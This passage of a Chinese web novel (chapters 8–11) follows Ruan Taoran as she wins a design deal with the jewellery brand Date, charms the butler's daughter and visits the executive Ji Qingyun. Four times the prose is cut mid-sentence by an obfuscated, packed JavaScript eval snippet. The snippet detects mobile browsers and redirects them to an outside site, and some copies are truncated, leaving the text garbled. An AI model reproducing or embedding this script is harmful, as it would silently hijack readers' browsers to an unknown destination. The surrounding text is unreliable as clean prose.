身为私人助理,韩悦是二十四小时待命的,纪青云给得也多,她习惯了随叫随到。 跟着纪青云五年了,韩悦很了解纪青云的行事作风。 她不问为什么,因为纪青云从来不会说为什么,不容置疑,只要按照吩咐做事就行。 只是,这次想来想去也没想明白,冯小姐约了那么多次,又是吃饭又是酒会,都被拒了。 这次怎么了,不是为了冯小姐,是因为高尔夫?突然喜欢打高尔夫了? 韩悦想了想,连忙翻了翻网购平台,立马下单了高尔夫球杆,顺便给自己报了个高尔夫课程。 知己知彼,百战不殆,老板喜欢,那就跟着喜欢,没毛病。 早上,阳光透过轻柔的窗纱照进来,落在桌子上的花瓶上,山茶花和瓜叶菊衬着绿叶,开得茂盛。 阮陶然早上围着别墅区跑了一圈晨练结束了,惯例给纪青云发了条早安的微信。 消息大概都是石沉大海的,阮陶然把手机丢下,就进浴室洗澡了。 化完妆,阮陶然对着镜子左右看了看。 浅棕色的发编起来,点缀着珍珠发夹装饰,妆感不重,清清透透,脸上透着微微的粉,笑起来很有亲和力。 她穿了件嫩黄色的裙子,搭了件蕾丝针织衫,总觉得一身有些空空荡荡。 想了想,从花瓶里选了朵淡色的山茶花,做成了个简易的鲜花胸针别在了蕾丝针织衫上。 阮陶然的精心装扮,导致的后果就是阮如月觉得晃眼了,看到阮陶然,几乎就没什么好脸色。 阮陶然倒像是看不见她的白眼一样,在自己的位置坐下来了,跟送来早餐的女佣说了声谢谢。 阮峰穿了那件换了蓝色宝石袖扣的西装,阮陶然的唇角忍不住扬了扬。 “叔叔,我看了天气预报说,晚上的时候要起风,您去上班记得带一件厚外套。” “江城的春温差很大,俗话说春捂秋冻,还是要注意一些。” “我听见您昨天咳嗽了两声,让厨房炖了罗汉果马蹄雪莲汤,已经装好了,您带一杯去公司。” 说着,极有眼色地给吃完早餐的阮峰递了餐巾纸过去。 阮峰眉眼里忍不住带了笑:“然然还是细心。” 叔侄两人看上去一片和睦的场景,饶曼忍不住在桌子底下踹了一脚阮峰。 阮峰收了收腿,脸上的笑容凝了凝,也不和饶曼说话,径直起身了:“我吃好了。” 他就不明白了,他又没有给阮陶然实权,也没答应让阮陶然进公司。 他不过就是多给了阮陶然几个好脸色而已。 阮陶然不争不抢的,乖乖巧巧,怎么饶曼就是不满意。 这个家里,就阮陶然让他觉得省心舒服。 阮峰的态度就像是横在饶曼喉咙口的骨头,她就怕阮峰什么时候吃了迷混药,到时候不顾儿女,只顾着野丫头。 见阮峰走了,饶曼的眸子转了转,缓和语气说道:“然然今天有事情吗?” “嗯,要出门一趟。”阮陶然点头,并不详细说些什么。 “你能有什么事情?”阮如月轻哼一声,叉子把盘子扎得咔嚓乱响。 “打扮得漂漂亮亮的,就以为自己是金凤凰了?”阮如月轻哼一声。 阮陶然没有搭理阮如月,阮如月戴了一身的珠宝,就脖子上那套钻石项链,Date新款,六位数的售价。 更不用说身上高奢的裙子、手腕上的手链和手镯…… 阮陶然无视的态度,最是让阮如月气不过的:“姐姐和你说话呢,你就是这态度?” “大姐,我在听着呢。”阮陶然淡淡说着,唇角还有微微的笑,一点都不恼的样子。 她笑得温暖明媚,一双眼睛溜溜透亮,像是两颗黑曜石,趁着一身春意盎然的打扮,透着水灵灵的好看。 听到这个大姐的称呼,阮如月就心里膈应,望见她的笑,更是气不打一处来,正准备发作,却被饶曼拦住了。 饶曼笑吟吟说道:“有什么重要的事情,非得今天办?” “婶婶给你介绍个人,你们今天见一面。” 阮陶然眼睛眨了眨,似乎有些惊讶,甜甜的顺着饶曼的话说道:“什么人啊?” “刘家的老三,刘宇鸣,那孩子和你年岁差不多。”饶曼说着,“你爸妈不在了,这事可不是我上心吗?” 饶曼想出来的解决方案,把阮陶然嫁出去。 嫁出去的女儿泼出去的水,到时候不在阮峰眼皮子底下晃,阮峰过几天就把她忘了。 自家男人的性格,她自己最了解,阮峰对阮陶然没几分真情实感。 “婶婶费心了。”阮陶然笑着说道,“但我今天真的约了人。” “我等下也出门,家里可没有司机给你用。”阮如月冷哼一声。 “没事,我打车去,也不远。”说着,阮陶然已经擦嘴站起来了,“我吃饱了,先走了。” 阮如月态度那么横,她也没生气,出门的时候甚至轻轻哼着小曲,不忘从冰箱里带一瓶桃子味气泡水走。 周管家给阮陶然开了门,然后就看到阮陶然递过来的一支月季花。 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691418|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶然刚才出来的时候,在门口的花坛折的:“今天周五,你女儿会过来一趟吧?给小朋友的。” 周管家怔了一下,伸手接过了花:“谢谢二小姐。” 阮陶然并不放在心上,把花给了周管家,就哼着小曲出门了。 晨光落在她嫩黄色的裙子上,像是一朵绽开的向日葵,在地上拉出来的影子,似乎也是一蹦一跳的。 像是三月的春,也像是灵巧可爱的小鹿。 周管家愣着看了一会儿,把月季花收到了口袋里,唇角忍不住扬起笑意来。 说来也奇怪,好似和二小姐说话,看着她笑就有一种魔力,让人觉得生机勃勃的,心都暖了起来。 阮陶然是真的不生气,阮如月那几句话她都没放在心上,因为她满脑子想的都是和冯珊珊见面的事。 她把设计稿发给了冯珊珊,冯珊珊很感兴趣,约她当面聊,约的就是今天。 想一想自己的设计要成为Date新品就开心,哪儿有时间和阮如月生气。 别墅区很大,阮陶然走了一会儿才走到大门外,甚至额边起了一层微微的汗珠。 低头输入目的地,打车软件开始叫车,但这地方打车的人少,不好打车。 阮陶然切了三个打车软件,思考着要不要加点钱的时候,一辆黑色的迈巴赫缓缓停在了她的面前。 后车窗落下来,清冷如浮冰碰撞的声音传出来:“我去冯氏,顺路,上车。” 言简意赅,简直不给阮陶然拒绝的机会。 阮陶然当然也不会拒绝了,开开心心就上了车。 车里挂着栀子花的香袋,萦绕着一股淡雅的栀子花香。 阮陶然上了车,纪青云看着她脑门上的汗,忍不住蹙了蹙眉。 阮陶然脸颊透着微微的粉,浓密的睫羽,眉眼弯出来开心的弧度:“姐姐,你不是不住这儿吗?” 阮陶然知道纪青云在隆华天域有房产,前两天发消息的时候也问过,纪青云说自己平时不住这里。 “路过。”纪青云语气淡淡,抽了纸巾递过去,“擦擦汗。” 阮陶然接过来,按了按额头上的汗渍,把纸巾叠好放在了包里。 “过几天,我给你配个司机。”纪青云随口说道。 “不用了。”阮陶然连忙拒绝。 她住在家里,用外边的司机,不是打阮峰的脸吗?她不指望阮如月,但还不想惹阮峰不开心。 她也不觉得委屈,就是走几步路,打车多等一会儿,又不是没手没腿,走两步刚好强身健体了。 “我不问,你就不说?”纪青云忽然说道。 “啊?”阮陶然眼睛眨了眨,望着那双浅琉璃色的眸子,“我没什么……要说的啊……” 阮陶然意识到,纪青云似乎是误解了。 她觉得她没有司机用,很委屈,但忍着委屈不告诉她。 在纪总的世界里,没司机要自己跑着打车,的确是委屈了。 但阮陶然是勤工俭学的穷学生,习惯了。 阮陶然眉眼弯弯:“姐姐工作很忙,我觉得没有必要说啊。” 被误解了,那就顺坡下驴,阮陶然很懂得怎么说话让人开心。 “而且,姐姐这不是来接我了吗?” 倒不是傻到底,纪青云心想。 她的神情开开心心的,一点都没有受委屈的样子,反而因为她来接,兴高采烈的。 纪青云是真没见过这样的傻子,就因为担心麻烦她,担心她工作忙,所以自己受这样的委屈。 阮陶然真的是爱惨了她,满心满眼都是她。 8. 第 8 章 黑色迈巴赫在冯氏集团的门口楼下停下。 阮陶然还没下车,就见到笑盈盈等着楼下的一行人。 为首的女人齐耳短发,利落干练的银灰色套装,五官之中透着微微的英气。 开了车门,纪青云没下车,只是隔着窗子和冯珊珊打了个招呼,车就开走了。 倒看得阮陶然一愣一愣的,她不是说她要到冯氏吗,怎么到了楼下,就走了? 冯珊珊上前和阮陶然握了手,自我介绍:“是阮小姐吧?我叫冯珊珊,你年纪比我小,叫我声姐姐就行。” 阮陶然眼眉弯弯,露出个灿烂的笑容来:“冯姐姐。” 冯珊珊也惯是热情,拉住阮陶然的胳膊热热切切地网公司里面走:“那我就叫你然然了。” “你不用着急,前几天纪总和我说过的,组委会那边有存档,到时候我肯定好好查查。” “然然能拿S国新锐设计师大赛的金奖,水平自然不用多说,那设计稿我们都看了很满意。” “这次叫你来也是好好聊聊,拉进一下感情,以后还能有更多合作就好了。” 说到这儿,冯珊珊压低了声音说道:“纪总是这个意思吧?” 阮陶然瞬间了然,冯珊珊不是对所有人都热情的,她是看在纪青云的面子。 纪青云刚才“顺路”这一趟,连车都没下,算做是给她撑腰了? 这位祖宗的脾气虽然又冷又怪,但给人的好处都是实打实的。 阮陶然笑了笑,说道:“我哪儿知道她的意思,她就说今天推荐我认识冯姐姐。” “这样啊,没事儿,你今天就当是来玩的,认认路,以后常来。”冯珊珊也过多说什么。 一路引着阮陶然到了办公室,办公室早就有煮好的茶水,几个人坐下了。 冯珊珊给阮陶然介绍:“这位是Date的主理人,侯景福,侯先生。” “这位是Date的设计师总监,沈秋序。” 阮陶然的目光主要落在了第二位身上,她穿了件祥云暗纹的提花缎旗袍,墨发用一根乌木簪子松松挽起来。 凤眸微微笑起来的时候,让人忍不住想起端庄娴雅四个字来,腕上的翡翠镯子衬出来一身的贵气。 如今国内珠宝圈子里声名最旺的设计师。 去年中秋月明那一套设计,中西融合,别出心裁。 Date又花了大价钱捧,找国际女星佩戴着上了电影节红毯,一炮而红,在国外都掀起了一股风潮。 对于阮陶然来说,沈秋序是毫无疑问的业界大前辈。 要不是纪青云牵的这条线,阮陶然不知道要摸爬滚打多久才能到沈秋序面前来。 “侯先生好,沈老师好。”阮陶然谨慎地用上了“老师”两个字。 阮陶然虽然谨慎,但语气并不怯怯,眼睛亮亮地看着沈秋序笑:“我在S国留学的时候,沈老师还给我上过课呢,当时沈老师还挑中了我的课堂作业点评……” 之所以选择老师这个称呼,就是因为那节课。 阮陶然记得沈秋序说过,她有很多身份,设计师、总监、投资人……但她最喜欢的是老师。 果不其然,沈秋序听到这个称呼,睫羽抬了抬,眸色都柔了些:“原来是S国设计学院毕业的啊。” 她年岁不大,笑起来灿烂,衬得一身嫩黄色的裙子,像是刚抽了条的嫩芽,生机勃勃的样子。 笑从唇角蔓延到眼角,金灿灿的暖意从小梨涡里面溢出来,仿佛周围都被染成了暖暖的蜂蜜色。 如此笑盈盈看过来的时候,仿佛眸子里没有一点点的戒备心,让人的心软软的。 阮陶然眸子乌溜溜,小声说道:“就是不知道现在的设计有没有进步,是不是给沈老师丢脸了……” “没有。”沈秋序柔和一笑,“有进步,我看着不错。” 冯珊珊揶揄了一声:“哟,少见我们沈总监对新人态度这么好。” “那是因为你带过来的新人都上不了台面。”沈秋序美眸微动,说出的话伤人,“一个个志得意满地把作品交上来,结果各个都不如设计学院的学生,连学习的心态都没有。” 冯珊珊笑了笑,不置可否。 能被Date看到,作品送到沈秋序面前,都是业内有些名声的设计师。 阮陶然不一样,她像是一张白纸,稚嫩,却充满了可以塑造的灵气。 沈秋序是珍馐美味吃多了,忽然看了碟精致的开胃小菜,眼前一亮。 人人见了沈秋序,都是谨小慎微地喊一声总监,只有阮陶然大大方方上来喊沈老师拉近关系。 而且,这丫头,笑起来是真的讨人喜欢。 沈秋序想做专职的大学老师,后来因为一些变故没做成,耿耿于怀,这一声沈老师把人哄开心了。 不过,也不得不承认,阮陶然笑起来的时候有种魔力,让人觉得阳光灿烂,不觉得是在刻意拉近关系。 冯珊珊等着纪青云的资金,本以为这次哄的是个小祖宗,有后台,会耍脾气。 结果是朵灿烂的太阳花,还会哄人开心,冯珊珊脸上的喜欢都真切了几分。 阮陶然设计的夏季系列,就是阳光和向日葵的主题。 盛开的向日葵吊坠中间镶嵌了一颗黄钻,环绕一圈细碎的钻石模拟阳光闪烁的光芒。 不对等的耳饰看起来有些俏皮,垂坠下来的花瓣之中簇拥着白色的珍珠。 手链却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还说进了沈秋序的心坎里:“阮小姐说得对,到时候光明正大进来,谁稀罕你们的特别邀请?” 沈秋序喜欢有学习心态的设计师,也喜欢有野心有自信的设计师。 看着阮陶然的目光中,欣赏越来越浓。 靠着真本事,到时候拿了金奖,走正规邀约途径进来,光明正大,肯定比现在更有说服力。 冯珊珊看着,忍不住用脚尖碰了碰沈秋序。 沈秋序美眸一转,神情有些不愉:“你踢我干什么?” 冯珊珊:“……” 沈秋序是个有性格的设计师,也是Date的大佛,平日里供着。 她家境好,年少成名,从来都是被人捧着,也不懂那些人情世故的弯弯绕。 冯珊珊实在是不知道怎么暗示她一下,阮小姐很明显是纪总的人,你这么欣赏,是要干什么? 9. 第 9 章 事情差不多都商量完了,阮陶然的设计稿要再细微调整一下,到时候就可以作为Date夏季新品摆到橱窗里面。 几个人又喝着茶谈了一会儿,侯先生那边还有一个行政会要开,就先走了。 沈秋序很喜欢阮陶然,之前课堂只是萍水相逢,此刻越聊越喜欢阮陶然。 她真心喜欢设计,充满热情,整个人也是热情洋溢的,很有朝气和灵气。 最后还是冯珊珊不得不打断了聊天:“时候不早了,沈总监,你晚上还要参加慈善晚宴,是不是要去准备准备了?” 再不打断,沈秋序都要拉着人坐到身边了。 沈秋序也是怪脾气,平日里那么多设计师看不上,今儿就看上阮陶然了。 沈秋序指尖拨过鬓边的发,淡淡道:“这有什么好准备的?” “我知道你一贯不喜欢名利场,但到底是Date的脸面,晚上可是有好多人冲着你来的。”冯珊珊无奈。 今晚慈善拍卖,有两三件沈秋序的作品孤品,估计又要拍出来高价来,到时候难免要应酬。 “行吧行吧,我知道了。”沈秋序兴趣缺缺,她喜欢设计,喜欢做老师,但不喜欢这种应和。 今天被喊来见阮陶然,都是冯珊珊三请四请才来的。 她不乐意见什么背后有金主的大小姐,不过,阮陶然有点超出她的预料之外了。 沈秋序明显是敷衍,冯珊珊只得继续叮嘱:“回去换一身漂亮衣服,郑重一点。” “怎么了?”沈秋序一抬手,“我这身怎么了?定制的苏绣,料子也是最好的,还不够郑重吗?” 冯珊珊:“……”她能八面玲珑和所有人打交道,除了沈秋序。 沈秋序惯会不给她面子,一句话就把她呛死。 她又不能说沈秋序这身不好,只好哄着说:“大家都穿晚礼服的,你这样和整场晚会的氛围不搭。” 沈秋序满不在乎:“不搭就不搭,为什么要搭?” 冯珊珊指尖捏了捏,长长吐了一口气:“算了吧,我说不过你,你随便。” 人好看,设计也好看,就是这大小姐脾气,不是一般人能承受的。 阮陶然没说话,但沈大小姐主动找上来了,甚至站起来转了一圈:“阮小姐看看,我这一身有什么不好吗?” 旗袍不是传统的款式,没有那么贴身,提花缎刺绣,在灯光之下流光溢彩。 她身上没有珠宝,只有一根乌木簪子,却显得一身矜贵淡雅的气质出来。 这一身算得上是精心装扮,但是要是放在晚宴上,的确有点不搭。 但冯珊珊都被呛回去了,阮陶然哪儿还敢说话,只顺着她意思说:“沈老师这身很好看。” 夸人要夸到细处,不然等于白夸:“尤其是仙鹤凌云的刺绣,和乌木簪子的祥云纹呼应。” “衣服的料子也好,流光溢彩的,剪裁也合适,显出来人的身材很好。” “尤其是这双鞋,素净,不显得违和,不喧宾夺主,用了珍珠元素,衬得人很有气质。” 只说一句好看好看,肯定是敷衍,但这么仔细地夸好看,一定是因为好看。 沈秋序被夸得满脸春风,给冯珊珊炫耀:“你看,我就说我这身好。” 冯珊珊倒是没应沈秋序的话,笑着道:“什么时候阮小姐开了门夸人的口才课,我一定去好好上课。” “我都是真心实意的。”阮陶然又把沈秋序看了一遍,沉吟道,“就是还少点什么。” 单纯夸好看还不够,还要给出来建设性意见。 这样,才是一个完全合格的观众。 阮陶然想了想,把自己衣服上的鲜花胸针取下来了,凑近了些,别到了沈秋序的衣服上。 阮陶然眼睛里亮晶晶的欣赏:“缺了点儿装饰,这样刚刚好,沈老师真好看。” 冯珊珊的办公室有穿衣镜,沈秋序干脆站着对镜欣赏起来。 越看越满意:“这胸针加上来,画龙点睛了,有审美的人果然是不一样,有灵气。” 冯珊珊道:“你别以为我听不出来,你在骂我没有审美。” 沈秋序道:“那哪儿敢呢,你可是我上司。” 冯珊珊:“……”说着不敢,一句一顶嘴,恨不得顶到天上去。 阮陶然今天的任务超额完成了,完成了和Date的合作,还认识了沈秋序,心情更好了。 下楼的时候接到了纪青云的电话,接通就只有四个字:“门口等我。” 没一会儿,那黑色的迈巴赫就出现在了阮陶然的面前。 阮陶然上了车:“姐姐,你怎么又来接我了?” “我说了,顺路。”纪青云语气淡淡。 她低着头看平板里面的文件,几个出了错的数字,看得她眉头紧锁。 看到最后的时候,脸色都沉了下去,这种漏洞百出的东西,居然敢发到她的邮箱里。 咔嚓一声,拧开了瓶口的声音,阮陶然的手伸了过来:“姐姐,天气热喝口水吗?” 纪青云抬起眸子,与那双亮晶晶的小鹿眼四目相对,那眼睛里带着灿烂的笑,还有些小心谨慎的意味。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691420|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出了她的生气,并且在用她的小办法,哄她不要生气。 “错了就让她们再改,自己生气不值得。”阮陶然把水放到纪青云的手里,笑得灿烂。 那是一瓶桃子味道的气泡水。 司机从后视镜里看了看纪青云的脸色,没敢说话。 跟着纪青云这么久,他是知道的,纪总生气,大家都是噤若寒蝉,哪儿有人还敢说情。 但阮陶然这话说得巧,她不是在为了对方说情,而是担心纪青云生气不值得。 纪青云接过来水,微微抿了一口,略一颔首道:“嗯。” 然后纪青云看着手里的汽水蹙了蹙眉:“好像不只是桃子的味道。” “我加了青柠进去。”阮陶然说道,“早上从家里出来的时候就加进去的,泡到现在味道刚刚好。” 纪青云只喝了一口,就没有继续喝了,气泡水实在不是她的爱好。 但纪青云也没再生气,只是觉得,心里的烦躁,好似被桃子味道压下去了。 司机怔了一下,奇了怪了,这次说情居然成功了? 送回气泡水的时候,纪青云的目光也落过来。 阮陶然还是早上见的装扮,嫩黄色的裙子,珍珠发饰小巧可爱,脸颊透着微微的粉。 她眸子里透着开心,看起来就是心情很好的样子。 “今天很顺利?”纪青云问了一句。 “是啊,我的设计稿基本上通过了。”阮陶然满面春风。 纪青云忍不住又多看了两眼,只是总觉得好像少了点什么。 纪青云没有放在心上,但到了晚上,她忽然就想明白了,到底少了什么。 沈秋序的旗袍上,别着那一枚山茶花的鲜花胸针。 若是她没记错,早上见阮陶然的时候,这枚胸针在阮陶然的身上。 冯珊珊望见纪青云,连忙拉住了沈秋序,端着香槟杯子迎了上去:“纪总。” 沈秋序有些不愿意过去,挣了两下,没能挣开,只得跟着过去了。 纪青云的睫羽轻轻一沉,让人看不出她的情绪。 冯珊珊是个不能冷场子的人,笑着继续说道:“纪总今天要出价吗?有好几件是沈总监的孤品。” 慈善拍卖,多少都要意思一下,纪青云这这种事情上一向很大方。 沈秋序的作品拍出来高价,Date脸上也有面子。 沈秋序旗袍上那山茶花的胸针,伴随着她的动作,上下微微的动,似乎传来一股淡淡的栀子花香。 唇轻轻启,淡淡的声音落过来:“我会出价。” 10. 第 10 章 春日里,阳光和煦,柔柔的风吹动花园里的瓜叶菊,是春天草木的味道。 有一阵轻快的脚步声跑过去,然后扑通一声,接着就是小声的哭声。 阮陶然放下手里的设计稿,循着哭声的方向找过去。 穿着粉色蝴蝶结绸裙的小姑娘,大概四五岁的模样,摔在地上,哭得梨花带雨的。 周管家有些手忙脚乱,忙用手擦她的泪水:“好了,不哭了不哭了,你这样哭会吵到夫人的。” 这话并不起作用,说完,她反而哭得更猛烈了一些。 “膝盖擦伤了,要先消个毒。”阮陶然蹲下来看了看。 周管家连忙道:“二小姐,对不起,吵到您了,我马上带悠悠走。” 阮陶然看着小女孩,露出个灿烂的笑,指尖把她鬓边的乱发整理好:“你叫悠悠啊,真是好听的名字。” 悠悠扎了两个小发辫,可能跑着玩了一阵,有些乱发落了下来。 见到是陌生人,悠悠下意识往后躲了躲。 一双黑溜溜的眼睛,盯着阮陶然,怯怯地,缩进了周管家的怀里。 她的两条胳膊绕住周管家的脖子,小声道:“爸爸,疼……” 眼看着又要抽抽搭搭哭起来,只不过是个四五岁的小女孩,控制不住自己的哭声。 周管家轻声哄道:“爸爸知道了啊,不哭了,不哭了啊。” 他有些着急,这个点正好是饶曼午休的时间,要是吵了饶曼休息,就麻烦了。 阮陶然眸子一转,从自己头发上拆下来一支珍珠发夹:“悠悠,你看这个,好不好看,你喜欢吗?” 悠悠怯怯的目光看过来,只顾着和阮陶然说话,倒一时之间忘记了哭了。 小巧精致的发夹,躺在阮陶然的手心里,悠悠浅声道:“喜欢。” “如果悠悠勇敢不哭了,姐姐就把这个送给悠悠。”阮陶然把发夹递到悠悠面前,眨了眨眼睛。 她的笑很有亲和力,说话的语气也很柔和,悠悠却不敢伸手拿,看了一眼周管家:“爸爸……” “二小姐,这……”周管家没敢让悠悠伸手接。 “悠悠不哭了就好,拿着吧。”阮陶然直接把发夹放到了悠悠的手里。 她的小手捏着发夹左看右看,最后小心地捧在手里来,露出两个浅浅的梨涡:“谢谢姐姐。” 周管家也松了口气,连忙道:“谢谢二小姐,抱歉吵到您了。” “没关系,只是小朋友。”阮陶然并不介意,悠悠已经算是很乖的小孩子了。 阮陶然摸了摸悠悠的发顶说道:“悠悠去和爸爸一起上药,如果乖乖不哭,姐姐就给你扎好看的辫子好不好?” 悠悠眼睛亮亮的,满是惊喜:“像姐姐这么漂亮的发辫吗?” 阮陶然浅棕色的头发编成蝎子辫,再加上珍珠发夹的装饰,看起来像是电影里的小公主。 阮陶然向来不觉得麻烦,她总是把自己打扮得漂漂亮亮的,让人看起来也赏心悦目的。 “可以啊,就编和姐姐一样的发辫。”阮陶然三两句话就把悠悠哄得笑起来了,“除了扎头发,还有好喝的饮料。” “什么饮料啊?”小姑娘的眼睛一下子就亮晶晶的。 周管家带着悠悠擦完药,阮陶然信守承诺给悠悠编了发辫,把那支珍珠发夹簪在发辫上。 小姑娘捧着手里的葡萄柚桃子气泡水爱不释手。 这是阮陶然的独家秘方,桃子气泡水里面搭葡萄柚的果粒,富含维生素C,还有多重层次的果香。 阮陶然本就喜欢小孩子,悠悠又懂事,悠悠走的时候,一大一小都有点依依不舍的。 悠悠搂着周管家的脖子,小声问道:“爸爸,我以后还能找然然姐姐来玩吗?” “悠悠喜欢姐姐?”周管家笑着问了一句。 “嗯,喜欢姐姐。”悠悠转了转脑袋,“爸爸看,悠悠今天也是小公主。” 她冲着周管家哈了一口气,说道:“还有桃子味道的饮料,可好喝了。” “然然姐姐和之前的姐姐……不一样……”悠悠小声嘀咕了一句。 之前她在这里碰到的姐姐是阮如月。 阮如月穿得也很漂亮,她喜欢阮如月的裙子,就远远看着,结果阮如月砰的一下摔门就走了。 周管家轻轻笑了笑,说道:“好,那下次爸爸还带你找然然姐姐玩。” 周管家过了中年才得了个女儿,夫人却在生产的时候难产死了。 他平日里工作忙,把悠悠交给亲戚带,偶然有空了,把女儿带进来一两次。 他之前跟阮峰说过这件事,阮峰也允许了,只说不要吵到家里人就行。 但上次,悠悠也没哭,就是隔着老远看了一眼阮如月,他就罚了一个季度的奖金。 阮陶然是不一样,周管家忍不住想起来刚才阮陶然给悠悠扎辫子的时候。 悠悠坐在阮陶然的怀里,一大一小两个人都带着笑说话,说到开心处,两个人的笑声一起飘出来。 从回家到现在,阮陶然从来不为难人,被挤兑了也不在意,整日里都积极向上的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691421|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪,现在家里人都喜欢她。 只是,周管家想到这里,还是忍不住轻轻叹了口气。 这家里是夫人做主,二小姐的身世摆在这儿,肯定要被欺负的,他忍不住有些心疼那阳光灿烂的小姑娘。 阮陶然的设计稿修修改改,改了三五日,这三五日基本上没怎么出门。 她倒是偶尔和纪青云发几条消息,但都是泥牛入海,纪青云一条回复都没有。 想来想去,纪青云帮了她这么大忙,她总要表示表示。 于是阮陶然亲手煮了玫瑰酒酿给纪青云送过去。 之前阮陶然从来不下厨,包括在国外,都是林晓晓做饭。 但是身为卷王,口头上的嘘寒问暖肯定不够,行为上也要卷起来。 阮陶然跟着网上的教程学了好几遍,亲手做出来最完美的一版,才送了过来。 只是到了纪氏的大门口,也没有纪青云的回信。 想着去前台试一试,没想到前台听到她的名字,就马上请她稍等,直接拨了电话。 没有预约,也能随便打电话上去?阮陶然没想到,纪氏这么大,居然这么随和。 前台挂了电话没多久,一个人从电梯下来,急匆匆迎过来。 她穿了件淡紫色的衬衫,利落的白色西装西裤的套装,长发扎起来个马尾,清秀的五官,笑起来很是随和。 “阮小姐。”她主动迎上来,和阮陶然打招呼,“我叫韩悦,纪总的私人助理。” “韩助理你好,我找……”阮陶然说道。 “知道知道,纪总现在正在开会,我先带你去她办公室吧。”韩悦主动在前面带路。 电梯缓缓上升,纪青云的办公室在顶层,韩悦直接带着她走了专用电梯,一路上倒没遇到别人。 把人送进了办公室,倒了茶安置好了,韩悦就连忙用手机给纪青云发了条消息。 会议室里,纪青云看到手机上弹出来的消息,面色不动地把手机放下。 汇报的人刚好结束,小心问道:“纪总,您还有什么建议吗?” “挺好的,下一个吧。”纪青云语气淡淡。 汇报的人忍不住松了口气,连忙下了台,有种劫后余生的庆幸。 不怪他小心翼翼,这两天已经有七八个项目被打回去重做了,他还以为自己今天也过不了关了。 汇报继续,纪青云的眸子却落在那暗了的手机屏幕上,睫羽压下去。 纪青云办公室,抽屉里,鲜花胸针躺着,只是山茶花已经干燥枯萎,一片一片的花瓣落下来。 11. 第 11 章 阮陶然打量着这个办公室,黑白灰的装修格调,和纪青云这个人的外表一样,有些冷,有些严肃。 只是在贴墙的地方,立了一个顶天立地的大书架,上面密密麻麻摆满了书籍。 阮陶然略看了一眼,很多是英文原版的商科的书籍,还有一部分历史书。 一整套的《资治通鉴》,看上去就让人没有阅读的欲望,但书脊上已经有磨损的痕迹。 私自动别人的东西不礼貌,阮陶然并没有碰这些书,只看了两眼,就在沙发上坐下了。 韩悦端了咖啡过来,送到阮陶然的手边:“阮小姐,纪总的会大概十一点结束。” 阮陶然略品了一口,咖啡里盈满了花香,还有股淡淡的茶香的味道。 阮陶然有些意外,这个的风格倒是和纪青云不搭,抬眸笑问了一句:“纪总喜欢瑰夏咖啡?” “不是的,是我想着阮小姐会喜欢这个味道。”韩悦道,“阮小姐不喜欢的话,还有蓝山和麝香,可以帮您换。” “不用了,我很喜欢。”阮陶然状似不经意,问了一句,“纪总喜欢哪个啊?” 她不太知道纪青云的喜好,多知道些,不是坏处。 韩悦却没有应这一句,只是温声说道:“您喜欢茶吗?这里也有几种茶,我去给您泡一壶。” 纪青云的办公室,平日里来来往往的商界贵流不少,年轻的喜欢咖啡,年长一些就喜欢饮茶。 咖啡豆品质很好,茶叶也都是上乘的。 阮陶然看着韩悦出去,心下了然,今天从韩悦这里问不出来什么了。 纪青云到底和饶曼不一样,她三两句话能博了周管家的好感,却没法对韩悦起效。 韩悦是纪青云的私人助理,嘴管得紧,也看得出纪青云的管理手腕。 韩悦又泡了茶进来,和阮陶然的应答句句都不出错,只是一句关于纪青云的情况都透不出来。 恰是此时,阮陶然口袋里的手机震动起来,接起来是林晓晓的电话。 “然然,你还在江城吗?我有点事想要麻烦你。” 林晓晓的语气里见些为难,阮陶然道:“我们俩什么关系,你直接说就好了。” 林晓晓是阮陶然在S国最好的朋友。 阮家只给阮陶然交学费,面子上过得去,算是支持她读书。 但生活费分文没有,不必想也知道是饶曼母女从中扣下了。 阮陶然也不争辩,只是勤工俭学读书,林晓晓就是她在勤工俭学的时候认识的,也是穷学生。 阮陶然回来,林晓晓把她的所有积蓄都给了阮陶然,所以阮陶然才给周管家包得出来几万块的红包。 “我妈心脏病发住院了,就住江环医院,你能不能帮我看一眼?” “我给她打电话,她总说不碍事不碍事,这次要不是邻居发现……” “你帮我看一眼到底是什么情况,我怕她又瞒着我。” 林晓晓的语气又快又急,整个人都要哭出来了。 她是家中独女,父亲早亡,母亲一个人把她拉扯大,又送她去国外读书。 